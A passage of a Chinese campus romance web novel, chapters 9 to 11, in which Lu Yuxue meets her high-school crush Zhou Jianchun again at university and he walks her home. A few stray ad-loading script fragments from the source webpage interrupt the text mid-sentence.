宽阔的通道此时廖无几人,风直直地灌入,贴在墙上的纸板隐隐有松动的迹象。脚下又传来轰隆隆的声响,下一班车即将到达,闸机口的人又要多了起来。 卢郁雪不死心地又说一句:“便利店没有卖手电筒的。” 叮咚,清脆的铃声响起,嘈杂的脚步声混合着人的交谈声,还没有人从扶梯上来。 周见春调整肩膀上即将滑落的书包,略有无奈地开口:“那你想怎么办?” 流动的风再次停滞,源源不断上来的人很快挤满整个大厅,他们的谈话很快要被这些喧嚣淹没。 “我们一起走呗。”她大胆地开口,周见春不为所动。 卢郁雪的脚尖在地上打了个圈,背在身后的手突然抓住周见春的胳膊将他用力往前一推。 男生的身子保持后倾,完全靠卢郁雪的蛮劲才挪动一点。 闸机口的第一个人刷出,人流如潮水一般涌出,卢郁雪推了几步之后就松了手,周见春见已经远离B口也认命一般走着。 她轻快地溜着小碎步,时不时偏头观察周见春的表情。周见春看起来很不亲和,可又没有任何反感的情绪浮现在脸上,所以卢郁雪只当他长得显清高。 卢郁雪的小动作他都看在眼里,没有偏头也没有说话,只是直视前方按自己的步子走着。 愈往外走,风越大,这条线修得早,还没有扶梯,卢郁雪走着觉得格外费力。可周见春好像很轻松,连肩上的书包都一动不动。 她咬咬牙一口气连爬两个楼梯,周见春站在低处昂头看了她一眼,依旧不紧不慢地按自己的步子走。 卢郁雪双手扶着膝盖,边喘气边等周见春上来。 江林市的夜晚没有多少人还在外面晃荡,倒是一个个小格子都亮着灯,不是辅导小孩写作业就是熬夜工作。 卢郁雪小时候经常见郁青抱着电脑在书房敲敲删删,因为郁青常熬夜,导致她半夜偷偷看电视的坏毛病也改掉了。 她起身站直招呼着周见春,“走吧。” 和她说的情况一样,这边的路灯确实不太亮,是很浓郁的橘黄色又藏在高大茂密的香樟树叶间,照下来的只有一片光晕。 不知道什么时候开始路上又多了施工的牌子,靠近路牙石的下水道都被围起来,卢郁雪和周见春并排走在路中央。 这个时间没人也没车,她心情畅快地从路牙石上的人行道蹦下来,绕着施工的牌子走。 袖口灌满了风,拉链和书包上的钥匙扣相撞在静谧的夜中发出清脆的声响。 人行道上的周见春不知何时也下到非机动车道,似乎瞥了她一眼,但卢郁雪没看清。 “别走中间,危险。” 卢郁雪探头探脑地看看前后的红绿灯,一辆车都没有,公交车都快停运了,她笑嘻嘻地说道:“没事。” 周见春皱起的眉头没有舒展开来,他观望着身后空荡的马路没有来车,将卢郁雪护在自己的右手边说:“随便你吧。” 这个季节已经开始有落叶,落下的大多还未完全变黄,卢郁雪踩着也没有清脆的咯吱声。 她昂头看看天上的月亮,又看看走在自己身旁的周见春。灌木丛中还有虫鸣,咕叽咕叽的没有节奏。 两个人不说话,好像有点尴尬,以后还不知道能不能再有这样的机会,而且她还有问题没问完呢。 “周见春,你家住几栋啊,远不远,我下次可以陪你走B口的。” 嘉合花苑很大,骑个电动车横穿出去也要十几分钟。 她忽然想起白天还在年级大榜上看见周见春的名字,他和自己不一样,可能他还要回去学习写作业,自己这样,好像在浪费他的时间。 卢郁雪挣扎了一会儿正要开口表示抱歉,周见春停下脚步回头看她,平和说道:“不远,走哪个门都一样,你家住哪?不远的话以后走B口,那里路灯更亮。” 他说得并不郑重,只是一个建议,采不采纳似乎都没有关系,但卢郁雪还是感到一丝温暖,即便是出于礼貌的关心。 “好。”抱歉的话现在说出口就很扫兴了,卢郁雪只能点点头轻声应着。 沿着人行道走到岔路口就是嘉合花苑的南门,这次,换卢郁雪走在了他前面。 小区路灯是明亮的白色,路边野草都照得清清楚楚,她看着脚下的影子随着自己的移动变长变淡然后消失,快要走到下一个路灯时又再次出现在她的脚下。 她知道周见春在身后跟着自己,可她不敢回头看。这一路,她已经很冒昧了。 于是卢郁雪挺直了身板想要走得端庄大方,却发现没坚持几分钟她就累得不行。真是应了郁青平时训她的话,站没站相坐没坐相。 早知道,小时候就该多上几节民族舞的试课,或许会更有气质一点。 卢郁雪数着自己走过的路灯,可她家实在太近,南门进去往左手边一拐没几步就到了单元门口。 她轻叹一口气,在夜色中很微弱,似乎还没成型就被风湮灭,“我到了,今天谢谢你啊。” 今天的月色很好,遥远又寂静,洒在地面,看上去细细密密一片泛着光。周见春背对着这样的月色,站得很直,如果卢郁雪在画画,大概率会举一只铅笔眯着眼将他和周围的线条比划。 果然是她强人所难了,人家只是出于好意给自己递了一块创可贴,她联想的有点多。 卢郁雪不说话的时候其实很乖巧,就像现在,她抬起手挥挥道了一声再见。 再见,她听见周见春说。 卢郁雪没有回头,径直爬上楼,她其实很累,也带了电梯卡,但一个人的时候她从来不坐电梯,总担心万一哪天电梯快了她被困住。 爬上二楼的平台窗口,她踮起脚向下看着单元门口,空无一人,周见春已经走了。 她有些失落,但这也没什么大不了。卢郁雪潇洒地转身继续向上爬,每爬一层就得上手拍一下声控的开关。 破灯,什么声控,明明就是不想亮。 最后一下,卢郁雪拍亮家门口的声控灯,从口袋里抽出一串钥匙开门。 揉得发软的创可贴被钥匙勾起,挂在校服口袋边角的线头上,随着卢郁雪开门带起的一阵风吹落在地。 卢郁雪和周见春的全部交集,就是这些。 后来她也尝试走B口偶遇周见春,甚至在学校就想方设法在楼梯口能遇上他,但很可惜,一次都没有。 这次之后,她再没在晚上回家的路上见过周见春。 或许缘分就是这样奇妙,有些人即便住对门也不见得知道对方家里有几个人,何况她和周见春只是恰好在一个学校读书。 他依旧是传闻中的富少,挂在前二百年级大榜上的孤僻帅哥,卢郁雪也和大部分女生一样, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 远远地看着他。 看他不近人情地拒绝一个又一个女生,看他形影单只清高孤傲地出现在所有常见的地方。 卢郁雪也没觉得自己和其他女生有什么不同,升旗课间操这样的集体活动撞见,也只是装作不认识地走开。 她也不觉得自己真的喜欢周见春,只是高中时代的一种精神寄托让她没分清自己内心。 卢郁雪一直这么认为,即便高考后表白被拒,她也认为是自己头脑一热冲动之下的荒唐行径。 就在她以为自己都放下,以为没有真正动过心的时候,周见春却再次出现在她的世界。 猝不及防又在情理之中,读书时老师管这个叫欧亨利式结尾。可卢郁雪觉得,这不是无疾而终少女心事释怀的结局,更像是开始。 告诉她过去的一起都作数,过去的一切都只是序章。 她好像也是从现在开始,才平等地和周见春站在一起,不会因为年少的羞涩而畏首畏脚,不会为了讨对方喜欢而隐藏自己的个性。 她就是这样,又怎样,全世界又不是只有他周见春一个男人,她也不可能因为喜欢一个人就一辈子都装成对方喜欢的样子。 眼前模糊的字迹又重新聚焦清晰,大段大段的文字占据她的全部视野,桌椅相连的阶梯教室震动总是能传得很远。 卢郁雪感到自己的板凳似乎被人踹了一下,她回头对上一个刚从桌下探出脑袋的目光。 “抱歉啊,我刚刚捡笔。” “没事。” 她抿着嘴笑笑又转了回去,投影仪上的PPT标题已经到了第四章,卢郁雪对着小标题也翻到课本第四章。 走廊外短促的下课铃响起,滔滔不绝的习概老师收回悬在空中的手说道:“休息一会儿。” 看了一节课手机的叶敏觉得脖子酸痛,上下左右绕了一圈,刚摁灭的手机屏幕又亮起。 卢郁雪傻坐着,也不知道在想什么,叶敏把聊天框递到她的面前说道:“哎,我社长中午约你,去不去?” 她这才仔细看起没有几行的聊天记录。 【软工231周见春朗诵社长话少事少:中午方便请你们喝点东西吗】 如果不是看见叶敏那超长的备注,卢郁雪真的要以为他俩很熟呢。 可约人为什么不发给她,难道周见春认为他们之间比叶敏这样的备注还要不熟? “不想喝。” 她懒洋洋说着,叶敏收回手机叹口气开始打字:“那我回掉了。” 卢郁雪觉得叶敏今天有点反常,她坐直了身子审视道:“怎么,你想喝?那下课我请你。” 叶敏竖起食指来回晃了两下,幽幽地开口:“人家请的是你,不是我。不过你请我喝,当然也很开心啦。” 回完消息叶敏放下手机,看到日期突然想起国庆放假的事,下周也就是30号上周一的课,她们只有上午满课,中午就能提着行李箱回家。 “你国庆怎么安排来着?我下周上完习概就走,你帮我把书包带回宿舍呗。” 卢郁雪是江林本地人,自然没有抢不到票的烦恼。 “你不是,晚上要去迎新晚会朗诵,你们节目被砍了?” 名单上确实有叶敏的名字,虽然节目表还没安排下来,但彩排也就这几天的事,总不能临时换人吧。 “这还得,谢谢你。” 社团招新还在进行中,迎新晚会安排的节目也是上一届没退社的成员,原本抽签抽到了叶敏,但是周见春替她顶上了。 说是,感谢她帮忙联系到宣传部干事。 9. 你很讨厌我吗 “谢我什么?” 卢郁雪一头雾水,可叶敏只是笑,并不解释。 “说,快点。”叶敏还是摇头,卢郁雪见威逼不成,开始晃着她的身子撒娇:“我的好敏敏,你快说啊。” 今天要是不说,卢郁雪估计要辗转反侧,叶敏绷不住笑这才开口原原本本复述一遍。 抓着叶敏胳膊的手放了下去,卢郁雪人有点蒙蒙的,她和周见春确实没有什么交情,总共也就是高中偶然碰见几面。 没记错的话,十九中考到江林大学的不止她一个,如果是因为来自一个高中而有校友情结,未免有点夸张。 迎新晚会对接宣传部也应该是校学生会优先,为什么对接她一个文学院学生会的,不会为了减少工作量,每个学院也要出人吧。 “有猫腻啊。”轮到叶敏审问卢郁雪了,她往卢郁雪身上靠靠,披肩的长发蹭过卢郁雪的肩膀。 卢郁雪被长短不一的发尾蹭得有点想笑,又觉得这样很莫名其妙,只能推开叶敏好声好气求饶道:“我和他真不熟,下课请你喝奶茶啊,这马上上课了,我要学习了。” 她抓起笔按下弹簧,指着书本向叶敏宣示自己的决心。 “行行,不问不问。” 现在天气热,卢郁雪下单的时候前面还有三十多杯,算算时间,下课应该差不多能拿到。 还没有挨到下课,迎新晚会的群里发出一条@全体成员的通知,又是开会,她一个部门小喽啰有什么好开的。 【尽量全员到齐】 群主又附加了一条消息,卢郁雪看了发来的教室号,是头顶的阶梯教室,看来开会的人不少。 迎新晚会是学校的事,她只是文学院学生会的宣传部干事,还有那么多其他学院学生会呢,几百号人也查不到她头上。 就算真的是按学院分配拍摄任务,部长也会在她们小群再次汇总通知,这个会她去不去,完全没影响。 卢郁雪心一横再次开了免打扰抬头看向ppt,水课老师其实挺可怜的,讲得那么卖力但是没人听,卢郁雪尝试听了几分钟,头又低回桌面看向手机。 真的很无聊,没人听是有原因的。 临近下课的几分钟,有不少班级提前下课,习概老师也不例外,大手一挥走道就挤满了人。 卢郁雪的手机弹出可以取单的提醒,她走在前面侧着身子问叶敏:“先吃饭还是拿奶茶?” “打包吧,食堂那么多人空调也不冷,我们回宿舍吹空调。” “行。” 她笑嘻嘻应下,走出教学楼想撑伞才想起自己的遮阳伞刚被人踩过,断开的延伸架勾不到任何一根伞骨上,直愣愣地垂下来。 卢郁雪将伞转了半圈,那根断裂的延伸架悬在她们面前,这样就不会勾到头发。 这把遮阳伞小,太阳又大,卢郁雪把伞打得很低才勉强遮住两个人的上半身,她几乎看不见路况,只能从伞下看见每个人去头的背影。 “卢郁雪,你什么时候才能暴富,我们俩就不用这样每天走路了。” 话音刚落,身边一辆后座载人的电动车就闪了过去。电动车她家里当然有,只是过了学校办理通行证的时间,又不许补办,她骑来也进不了学校。 “那要不,你扫个共享自行车骑。” 卢郁雪很无辜地指着教学楼前一排绿色的自行车,叶敏探出头想试试外面的太阳,还没有看清太阳在哪就觉得眼前全是白光,她缩回伞下拒绝道:“我可不想晒死。” 握着伞的卢郁雪噗嗤一声笑出来,迎面来了一阵风,她的手没握紧,伞在手里转了半圈,再想扶正,却有东西扯着头皮。 疼啊,疼啊。 伞面和卢郁雪的头顶相差不过十几厘米,那根断裂的延伸架斜斜勾住卢郁雪的头发,为了防止绕得更紧只能维持现在的姿势。 叶敏按回卢郁雪抬起的手,轻声说道:“你拿着伞,我帮你。” 她们站在路的正中央,偶有打着伞的女生看不清前面,伞面相互剐蹭差点又要扯到自己的头发。 “好了。” 卢郁雪抬手摸了摸刚刚还扯着头皮的地方,只是勾出几根头发散落在耳侧,她拉直发圈那里想绕两圈缠在发圈上,但很快又被风吹下起来轻轻扫着她的下巴。 “还是别打了吧,晒一会儿也黑不了。” 她点点头,按下凸起地方收了伞。 黑是黑不了,但是很晒,晒到卢郁雪进了食堂才发觉自己一路上都没睁开眼。 这个时间吃饭格外拥挤,去远一点的食堂吃饭又在走路上浪费时间,还不如在食堂舒舒服服坐着等饭。 “你点的什么?” 叶敏坐在卢郁雪对面用手机压住纸质的取餐票,看见遮脸的手机缓缓放下露出生无可恋的表情,卢郁雪从口袋里掏出黑色的取餐牌有气无力地说:“石锅拌饭。” 每个窗口都排了不少的人,但总有人更多的窗口,比如石锅拌饭,拧了两三个弯才站得下。 “你点的什么?”倒着的小票转个圈到卢郁雪眼前,她啧啧道:“你是黄鼠狼转世吗?” 还未听到叶敏的反驳,周围一圈人都抬头看向卢郁雪,她坐的位置正对黄焖鸡窗口,堂食的人自然吃的也是黄焖鸡。 卢郁雪恨不得站起来挨个鞠躬道歉,只能对坐得最近盯得最久的同学双手合十拼命点头。 众人视线收回到自己的饭上卢郁雪悻悻地转头拍拍胸脯平定情绪问道:“我刚刚说话声音很大吗?” “有点哦。” 话音刚落,黄焖鸡窗口就叫到叶敏的号,卢郁雪再次拿起手机,熄灭的屏幕倒映着身后人。 轮廓先于五官抓住人的视线,积在小臂处的外套露出一截手腕,他用筷子挑起一口米饭却因为和对面的人说话不小心抖落。 从口袋摸出纸巾的周见春往斜前方一瞥,熄灭的手机屏幕顿时亮起,映入眼帘的是大大的时间和日期。 叶敏提着塑料袋坐下,回头看向依旧不减少的队伍问卢郁雪:“还没到你啊。” “谁知道呢。” 她佯装无事地滑手机,却发现还没解锁,只能扣着木板不平整的碎屑和叶敏聊天打发时间。 她们坐在比较宽的过道,端着饭盘去回收处的人不少。每说两句话,就有人经过,她们聊得断断续续,人也烦躁起来。 “不行,我得去看看,怎么这么慢。” 卢郁雪拍案而起,站直的身子撞入一个人的怀中。先是觉得脑袋有点疼,本想道个歉算了,抬起的头颅硬生生被紧绷的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头皮按了下去。 被遮阳伞勾下来的头发此时缠绕在对方的外套拉链上。 对方似乎想后退了一步,她疼得龇牙咧嘴下意识摸索着对方衣服揪起一小团将人拉了回来。 “头发头发。”卢郁雪急急叫着,想上手去扯头发,但她侧着身子又歪着头完全看不见绕在哪里。 男生的外套只拉到胸前,滑滑的面料贴着卢郁雪的脸庞,对方的体温隔着外套,连心跳声都被掩去。 端餐盘的同学纷纷绕道而行,他们的动静有点大,不少人在看他们。卢郁雪登时红了脸,快速招着手让叶敏过来帮自己。 叶敏站了起来又停在原地,卢郁雪听见头顶的喘息声渐重。垂下的袖口碰到了自己的额头,就像风吹起一片落叶,难以察觉,没有重量。 “好了。” 风再次流动起来,对方身上的洗衣液香气淡去,泛红的脸颊直直吹着空调冷风,似乎红得更为明显了。 卢郁雪试探性地歪歪头,确认缠住的头发绕开才转了身子鞠躬道谢,视线向上移动,她看清了男生的面容。 这么不巧吗?她又遇到了周见春。 周见春单肩背包,他扯了扯书包肩带,眼底无波无澜低着头从卢郁雪身边走过。 这一幕,和过去的周见春很像,似乎又回到了自己遥遥观望对方的时候。 但现在,她不会因为这样的事就担心对方觉得自己主动往上贴,一码归一码。 “谢谢。” 周见春走到她的身前时,卢郁雪轻声说着,她的声音不大,但周见春一定听到了。 她能感受到扬起的风有片刻停滞,对方的脚步有为她犹豫。 但周见春还是头也不回地走了,石锅拌饭终于叫到卢郁雪的号,她抓起号码牌要去,已经走到餐具柜旁的周见春停下脚步疑惑地问她:“你不开会吗?” 这声音之间隔了好几个人,如果不是周见春个子高,卢郁雪都不一定能听出来是他说的。 “啊。” 卢郁雪人还没反应过来,开会这事也没有公布名单吧,周见春管她去不去。 她的身边挤过许多人,耳旁是立体环绕的机器叫号。 见她神情迷茫,周见春侧着身子挤到卢郁雪身旁,低头对她说:“我的意思是,你现在吃饭的话,应该赶不上开会,需要我帮你签到吗?” 叫号的机械音一遍接着一遍,卢郁雪听得不甚清晰,但意思已经理解到位。 帮她签到,正好省了找其他人帮忙,卢郁雪很开心地点点头笑道:“要要要,谢谢你啊,我就不去了,你帮我听听。” 急促的机械音停止,转为人工叫号:“石锅拌饭16号在不在,石锅拌饭16号,打包的石锅拌饭。” 叶敏似乎被吵得听不下去,插到卢郁雪和周见春中间,摘下她手指上的号码牌不自然地笑笑。 “我帮你拿饭啊,你俩先聊着。” “欸,叶敏。” 卢郁雪见叶敏已经挤进人群,只好转过头看着周见春,他周身的气质冷淡,在食堂这样热闹的地方也没有多一点人情味。 但现在他突然低下身子和卢郁雪的视线齐平,黑白分明的眼中倒映着她的模样。 “卢郁雪,你很讨厌我吗?” 10. 送你回家 他说得卑微,在等卢郁雪给出一个否定的回答,即便那是出于礼貌,可卢郁雪什么也没能说出来。 对于不在意料之内的靠近和搭话,卢郁雪向来是慢半拍,她需要去想该怎么回答,什么样的回复适用于两个人之间的关系。 可聊天的契机永远都是转瞬即逝,当她终于想好要说什么,已经错过可以开口的契机,只会显得突兀刻意。 周见春的嘴角勾起一个笑,有些悲凉,“你好好吃饭吧,我先走了。” 她想追上去,却被叶敏拉住,人群错开的缝隙只能看见周见春的背影越走越远。 卢郁雪很懊恼,她当时一下子蒙在原地,根本不知道该说什么,反应过来的时候人已经走远。 说讨厌周见春,还没到这个程度。她只是没想好该以什么态度面对周见春,他是讲道理的人,做错了事一定会负责,但卢郁雪做不到公事公办。 她会控制不住自己的情绪,她会被周见春牵着鼻子走,即便理性盖过情感,也会止不住感觉心里空落落。 所以最好的办法,就是远离,时间会抚平一切。 一下午没有课,卢郁雪瘫在宿舍看综艺。部长已经将会议内容总结好发到群里,和她无关,主要由校学生会负责。 周见春也发了几张PPT给她,和部长的总结相映衬,连彩排都不需要她到场。 后面的一周都上得很浮躁,所有人都等着国庆七天假期,周五和周一没课的人早早请假离校。 卢郁雪每到教学楼的楼梯口都能看见大大小小的行李箱靠墙摆放,直到周一上午叶敏的行李箱也出现在那个角落,卢郁雪才意识到真的快放假了。 “这节课中间不休息,我早点上完给大家放假。” 阶梯教室未完全坐满,有不少人提前请了假,习概老师话音刚落,下面就是一阵鼓掌的喧嚣。 习概老师掌心向下压了压继续说道:“如果有同学赶中午的车可以提前走啊,放假回来记得做你们小组作业,下节课开始展示。” 喧哗声如浪花一般愈来愈高,有些被收音设备录了进去,一度压过走廊的上课铃。 沉寂已久的相亲相爱一家人群聊终于弹出消息 【爸:今天不上夜班,想吃什么?回家给你做】 卢远峰刚评上副高那几年夜班一点没少,直到卢郁雪读大学,夜班才少了一点。 群里再没有第二条消息,卢郁雪对郁青工作的了解都来源于朋友圈,发个消息要第二天才回。 习概老师还在桌面找自己的ppt,卢郁雪飞快地打了一行字上去【五六点吧,我收拾一下宿舍就回去】 卢郁雪旁边坐着叶敏,一直心不在焉的模样,卢郁雪忍不住问她:“你不是下午三点飞机,急着走吗?” “有点,我怕堵车,这个时间值机我怕排队的人多。” 她瞥了一眼四周和手机上的时间,压低声音说道:“那你先走吧,已经十一点了,估计再有半小时下课,东西给我吧。” 卢郁雪接过叶敏收拾好的帆布包塞到桌下,叶敏弯着腰从卢郁雪留出的空隙挤出去从后门小跑出去。 身边少了一个人,总感觉不自在。卢郁雪玩手机都怕别人看见,想给叶敏发消息又觉得她应该没有时间回,还是等她差不多安检完再问。 比她预想地还要早,还没到十一点半习概老师就下了课。 她排在过道的台阶上紧紧挨着前面的人出了教室,走廊里没关门的教室透出讲课内容空荡荡地回响。 从教学楼出来的路上还没有什么人,远处礼堂彩排的声音传开,卢郁雪仔细听了主持人串场词,按节目表来看周见春现在应该在礼堂。 食堂那次不欢而散,她一直没能找到机会和周见春说开。好像不是什么大不了的事,误会就误会了,现在不正是她所求的毫无交集。 可她又觉得,再拖下去,是真的说不清了。 周见春现在住在哪她不知道,国庆留不留校她也不知道,拖到七天之后再说,卢郁雪觉得恐怕那时自己都已经记不清要说什么了。 四人间的宿舍走空之后有一种寂寥的空旷,卢郁雪收到叶敏上飞机前的安全报备,她回了消息开始认真打扫宿舍。 她家和江林大学主校区在一个区,平时回家很方便,卢郁雪看了又看,决定把自己抓的娃娃全部带回家,平时挤得她翻身都翻不了。 检查完插座阳台门反锁这些,卢郁雪拔下自己的手机充电器,屏幕忽然亮起,不是因为拔充电器,而是有人给她发了消息。 【文宣部长:宝宝你回家了吗?留校的话方便来迎新晚会吗?】 灿烂的日光打在洁白的洗手池上,卢郁雪纠结一会儿回道【还没,晚上走】 部长似乎一直在蹲着她的回复,几乎秒回【晚会大概九点钟结束,宝宝能来吗?可以提前走的哦~】 卢郁雪扒拉着自己的表情包,发出去一个【OK】 以往江林大学医学院校区的迎新晚会都是和本部错开时间,但今年不知怎么安排在了同一天。分校区的摄像机不够借走了本部的,现在只能靠他们宣传部自己的设备顶上。 卢郁雪的背包里塞了几个娃娃,现在再想塞个三脚架很困难。她只好脖颈挂着相机肩带,手里拿着三脚架往礼堂走去。 相机的两块电池只在开学前充了一次电,到现在也不知道还剩多少,内存卡还是64G的没有换,不出意外的话最多两个小时她就可以回家。 临近国庆,江林市还没有下过雨,傍晚风吹起来还是暖暖的,卢郁雪一路走到礼堂还觉得有点热。 迎新晚会已经过了几个节目,她站在观众席的左后方手忙脚乱地支起架子。光线太暗,只有前面舞台往下扫才能看清螺纹对准的地方。 卢郁雪好不容易调好焦距按下录制键,被一位从后门进来找座位的新生挡住了报幕时候的画面。 罢了罢了,拍到就行,其余可以回去截,推文也不需要这么多素材,再说也不止她一个机位。 晚会的节目种类很多,再加上全黑的环境中有荧光棒挥舞,尖叫声和欢呼声使这场表演的氛围感直线上升。 卢郁雪看得并不认真,她还要盯着屏幕里的场景,时常因为有人进来而对错焦还要手动调整。 从相机屏幕里看和肉眼的观感完全不同,人眼其实才是最伟大的取景器,即便场景会遗忘,那种震撼感也会一直被铭记。 相机右上角的电池格闪烁,卢郁雪眼疾手快地结束录制,收起三脚架溜到后门,想和部长打个招呼走。 进了后台却是乌泱泱一群人,完全找不到熟悉的人。 卢郁雪掏出手机发消息,出去的门就两个,她靠在其中一个门框处,有人从她身边蹭过也没有在意。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 收到回复她才熄灭手机屏幕,一抬头发现门外站着周见春。 他的个子很高,即便在光线很差的地方也能一眼注意到,更何况后台的门未完全关死还透着光。 卢郁雪来得时候已经过去几个节目,没注意朗诵在前面还是后面,但现在看周见春的模样,应该是早就表演过了。 礼堂打着空调冷气,周见春的小臂上搭着一件黑色外套,身上穿的是白色衬衫,黑裤子白球鞋,很标准的汇演装扮。 卢郁雪没有见过他们朗诵表演的衣服,眼前的周见春头发有一端翘起,不齐整的碎发遮住左侧的眉眼,露出棱角分明的下半张脸。 他似乎在这儿站了一会儿,在等卢郁雪发完消息,没有情绪起伏也没有惊诧在这儿见到自己,好像很熟稔一般等着朋友。 卢郁雪有些不知所措,将手机揣回口袋才腾出手对他挥了挥。 “好巧啊。” “嗯。”他点点头,面上看不出喜怒。 舞台和后台一墙之隔,现在两侧通道的门都关上,这里反而很清静,卢郁雪能听到自己手里三脚架戳到墙面哗哗洒下来的墙灰。 “你国庆节不回家吗?” 周见春先开口问了这个问题,也省得卢郁雪纠结要不要和他说开自己讨厌他那回事,顺着他的话说了下去。 “回,我现在就是要回家呢。” “嘉合花苑?” “不是不是,那是我们家老房子,离十九中近所以我高中住那,我现在住天悦府。” 周见春看了眼时间,当着卢郁雪的面穿上外套,很平常地开口:“我送你吧,时间也不早了。” 嗯?送我?这才八点送什么送,天悦府的摄像头比电线杆上的鸟都多,有什么可送的。 “你不回家吗?” “我明天回。” 卢郁雪哦了一声掂掂手里的三脚架又追问道:“你还住在嘉合花苑吗?” 其实她一直就很想问这个问题,自从地铁口和他换了五块钱之后,卢郁雪再也没有在嘉合花苑见过周见春,就像是凭空消失一样。 “不住了。” 周见春的身形在光线暗淡的走道也很有压迫感,卢郁雪看着那个影子突然俯身离她越来越近忍不住向后一缩,但周见春只是拿走了她手中的三脚架。 轻轻一抽,连指尖都没有碰到。 “送你回家。” “送我回家?”卢郁雪抬手指着自己的鼻尖一脸不可思议,她以为周见春是在开玩笑,或者客套一下只等着自己开口拒绝。 “嗯。” 他点点头,嘴角上扬,灰暗的环境帮他遮掩住那抹笑,“万一天悦府的路灯不亮呢。” 他果然记得高中时候的事,连自己说的话都记得这么清楚。 卢郁雪深吸一口气松开握紧的拳头,安抚自己还有更重要的事情问他:“那你什么时候从嘉合花苑搬走的,我怎么后来都没有遇见过你。” 遇见的概率很低,但是完全错过的概率也很低,除非有一方刻意为之。 卢郁雪很想知道那时候周见春是不是讨厌自己,所以才避免和自己碰上。 “可能,没有缘分吧。” 他垂下的眸子忽然看向卢郁雪,礼堂的门被推开,迎面吹来一阵凉风。 月色如水倒映在他的眼底,清澈透亮。 11. 你得偿所愿了吗 “你信这个?我还以为你是坚定的唯物主义者。” 卢郁雪将碎头发撩到耳后,风吹得她的眼皮轻颤,路灯似乎也随着风吹的方向上下摇晃闪烁。 “科学也有解释不了的事情。” “比如呢?” 周见春从台阶上下来,帮卢郁雪挡住一部分的风,柔和的灯光落在他的侧脸,淡漠的神情也变得温和。 “比如,有人每次考试前喜欢上香。” 他的步子不大,说话的声音刚好能在被风裹挟前清晰落在卢郁雪耳边,周见春笑着看她。 卢郁雪是喜欢上香,但也没有到这种地步,就是考前给学校里的孔子雕像供上一点瓜果零食罢了。 高中时候和宋芷兰两个人还能大大方方的,大学里面人太多,卢郁雪都是趁早八时候没人偷偷拜的,周见春是什么时候知道自己有这个习惯的。 “你这么在意我啊。” 卢郁雪昂头问他,话里没有一点惊喜和年少的娇羞,大方又直白地问了出来。 周见春会怎么回答,她完全不在意。这样的问话只是一种打趣,也是自嘲,自嘲她年少的大胆和执着,并认为现在的周见春一定会维护两个人之间的体面。 越是礼貌,越是客气,越是和谐,就越说明,他们的关系已经淡漠。 “不算吧,高考前我也拜了孔子。” 拜孔子的人不止卢郁雪一个,只是她比较频繁,又在高考前,周见春看见她也是很正常的事。 “那你得偿所愿了吗?” 周见春没有因为卢郁雪刚刚的话而蒙住,反而在这儿愣了几秒。 得偿所愿,什么才叫得偿所愿,他早已忘了自己许下什么愿望,又或许根本没许,因为他不信会有天神降临。 可在这里见到卢郁雪,他有点庆幸,庆幸自己的分数和她挨近,庆幸一切都那么刚刚好,就像天神降临。 “报志愿嘛,都是玄学,别伤心,还能保研呢。”卢郁雪见他不说话,以为戳到了伤心事,自己接了下去。 “没伤心,江大很好。” 他的面色平和不像是说假话,卢郁雪盯了一会儿便放弃继续追问的想法,他不想和自己说,怎么问也是问不出来。 至于食堂那次不欢而散,还是再找个机会说吧,或者就当没发生,她看周见春也没当回事。 天悦府在森林公园站,近几年推出夜宿的活动,不少旅游的父母带孩子体验。现在又是国庆期间,江林市旅游的人暴增,卢郁雪站了一路,叮叮当当晃到了站点。 列车灯光闪烁车门缓缓关闭,她拐到扶梯的墙边扭头看到周见春还跟在自己身后。 “你不回去吗?我家很近的,出了地铁口就是。” 准备开走的列车发出很大噪音,耳边的风声盖过大厅一切交谈声,也包括周见春的话。 卢郁雪只能看见他的嘴张张合合,音节模糊不清像是被噪音粉碎。 “我刚刚没听清,你说什么?” “我说,送人送到底,哪有半途而废的。” 他抬起拿着三脚架的手指了指头顶空无一人的扶梯说道:“没人,走吧。” 周见春大跨一步走在了卢郁雪前面,像是回他家一样。 如果在过去,卢郁雪一定会绕着他上下打量,怎么高中不情不愿的,现在反而那么有人情味。 可转念一想,他们都大二了,在学校里面表面功夫肯定也会做一点,这种博女生好感的行为,他肯定也知道。 再说了,他都坐到这,再坐回去还是一样花钱,只是省个出站进站而已。 卢郁雪左右偏头想了想,觉得没错,没头没脑地跟了上去。 扶梯上行很慢,周见春站在前面遮住卢郁雪的大部分视线,等他移开时,两人已经到了出站大厅。 正是青黄不接的时候,闸机口也没人,卢郁雪刷码出去一抬头周见春站在自动售票机的地方等她。他总是站得很板正,很少会有懒洋洋的模样。 黑色冲锋衣外套拉到锁骨处露出干净的白色内搭,脸部线条在光线充足的地方格外清晰。 他看向卢郁雪的眼神和高中时候不同,明朗了许多,就像是一直蒙住他视线的雾气散去,可以明明白白地看出他的情绪。 “走这么快,你知道我家在哪吗?” 卢郁雪傲娇地白了周见春一眼头也不回地走向C口,她不喜欢走这个口,因为是换乘点,在里面走的时间比坐地铁还长。 通道没有多少人,两侧广告牌变幻的灯光照在两个人身上,像是彩色披帛。 见四下无人,卢郁雪迟疑着开口:“你为什么送我回来啊?我们,也不顺路。” 她其实想问高中时候自己拼命暗示才同意,怎么现在突然主动送她回去。 卢郁雪承认这种送女生回家博好感的举动确实很有用,她现在就生出了一些不该有的遐想。 “高中时候,对不起。” 他没有点明,但卢郁雪知道他说的什么事。对不起其实算不上,送她回家也不是周见春的任务。 轮换的广告牌暗了下去,周见春垂眸轻声地对她说,虚虚实实明明暗暗的光影中,她好像看到了周见春的一点真心。 对方的体温隔着外套却遮住侧面吹来的风,卢郁雪感到周遭的空气都在升温,她的思维有些停滞,连抬起的手都不知道该放在哪里。 “你是因为这个,所以讨厌我吗?” 他俯下身子接着问了下去,深色的眸子直直盯着卢郁雪,这个光线下似乎还能看见脸上的绒毛。 卢郁雪没想着今天提这个事,也没想到会是这样毫无准备的情况。 “不是,我没有讨厌你,我只是觉得,觉得,我们应该保持距离。” 她的视线从周见春脸上移开,几分钟一轮换的广告牌刚好交替,卢郁雪整个人处在鲜亮的灯光里,面上情绪一览无余。 “我们十九中考来江大的也很多,隔壁班那个双马尾甜妹就在信科院。我们俩嘛,实在没什么交情。” 